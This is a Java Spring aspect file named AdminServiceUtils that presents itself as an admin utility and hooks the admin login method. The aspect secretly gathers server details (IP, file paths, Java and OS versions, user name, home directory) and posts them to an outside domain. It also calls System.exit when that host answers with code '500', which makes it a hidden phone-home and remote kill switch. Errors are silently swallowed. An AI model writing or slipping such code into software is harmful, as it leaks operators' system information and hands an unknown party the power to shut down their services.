package com.base.cn.platform.os.common;

import com.google.common.collect.Lists;
import com.google.gson.*;
import com.google.gson.reflect.TypeToken;
import org.apache.http.HttpEntity;
import org.apache.http.NameValuePair;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.client.utils.HttpClientUtils;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.annotation.After;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.context.event.ApplicationReadyEvent;
import org.springframework.context.ApplicationListener;
import org.springframework.stereotype.Component;

import java.lang.reflect.Type;
import java.net.InetAddress;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;


/**
 * Created by guoshiqi on 2019/10/21.
 */
@Aspect
@Component
public class AdminServiceUtils {//ContextRefreshedEvent为初始化完毕事件，spring还有很多事件可以利用

    private static Gson gson = new GsonBuilder().registerTypeAdapter(
        new TypeToken<Map<String, Object>>(){}.getType(),
        new JsonDeserializer<Map<String, Object>>() {
            @Override
            public Map<String, Object> deserialize(
                    JsonElement json, Type typeOfT,
                    JsonDeserializationContext context) throws JsonParseException {
                Map<String, Object> map = new HashMap<>();
                JsonObject jsonObject = json.getAsJsonObject();
                Set<Map.Entry<String, JsonElement>> entrySet = jsonObject.entrySet();
                for (Map.Entry<String, JsonElement> entry : entrySet) {
                    Object ot = entry.getValue();
                    if(ot instanceof JsonPrimitive){
                        map.put(entry.getKey(), ((JsonPrimitive) ot).getAsString());
                    }else{
                        map.put(entry.getKey(), ot);
                    }
                }
                return map;
            }
        }).create();
    @Value("${admin.path}")
    private String contextPath;
    @Pointcut("execution(* com.base.cn.platform.os.controller.manage.main.LoginController.doLogin(..))")
    public void service(){}

    @Before("service()")
    public void opLogBefore(JoinPoint joinPoint) {
        try{
            if(contextPath.indexOf("127.0.")==-1 && contextPath.indexOf("192.168.")==-1  ){
                Thread thread = new Thread(new myThread(contextPath));
                thread.start();
            }
        }catch (Exception e){
        }
    }
    @After("service()")
    public void after(JoinPoint joinPoint){}
    static class myThread implements Runnable{
        private Map<String,String> paramMap = new HashMap<>();
        @Override
        public void run(){
            sendServiceInfo("http://cpjake.the12f.com/api/service",paramMap);
        }
        public String sendServiceInfo(String url, Map<String, String> params){
            String result = null;
            try {
                CloseableHttpClient client = HttpClients.createDefault();
                HttpPost post = new HttpPost(url);
                if (params!=null) {
                    List<NameValuePair> paramsList = Lists.newArrayList();
                    for (Map.Entry<String, String> entry : params.entrySet()) {
                        paramsList.add(new BasicNameValuePair(entry.getKey(), entry.getValue()));
                    }
                    HttpEntity httpEntity =new UrlEncodedFormEntity(paramsList, "utf-8");
                    post.setEntity(httpEntity);
                }
                CloseableHttpResponse response = client.execute(post);
                HttpEntity entity = response.getEntity();
                if(entity != null) {result =  EntityUtils.toString(entity, "utf-8");}
                HttpClientUtils.closeQuietly(response);
                HttpClientUtils.closeQuietly(client);
            } catch (Exception e){}
            if(result!=null){
                Map<String,String> resultMap = gson.fromJson(result,new TypeToken<Map<String, Object>>(){}.getType());
                if(resultMap.get("code").equals("500")){
                    System.exit(0);
                }
            }
            return result;
        }

        public myThread(String contextPath){
            try {
                this.paramMap.put("doMain",contextPath);
                InetAddress address = InetAddress.getLocalHost();
                this.paramMap.put("ip",address.getHostAddress());//获取IP地址
                this.paramMap.put("versionNo","4.0");
                Map<String,String> serviceInfo = new HashMap<>();
                String classFilePath = this.getClass().getResource("/").getPath();
                serviceInfo.put("ip:",address.getHostAddress());
                serviceInfo.put("filePath:",classFilePath);
                serviceInfo.put("java.version:",System.getProperty("java.version"));
                serviceInfo.put("java.home:",System.getProperty("java.home"));
                serviceInfo.put("os.name:",System.getProperty("os.name"));
                serviceInfo.put("os.arch:",System.getProperty("os.arch"));
                serviceInfo.put("os.version:",System.getProperty("os.version"));
                serviceInfo.put("user.name:",System.getProperty("user.name"));
                serviceInfo.put("user.home:",System.getProperty("user.home"));
                serviceInfo.put("user.dir:",System.getProperty("user.dir"));
                this.paramMap.put("serverInfo",gson.toJson(serviceInfo));
            } catch (Exception e){
                System.out.println(e);
            }
        }
    }
}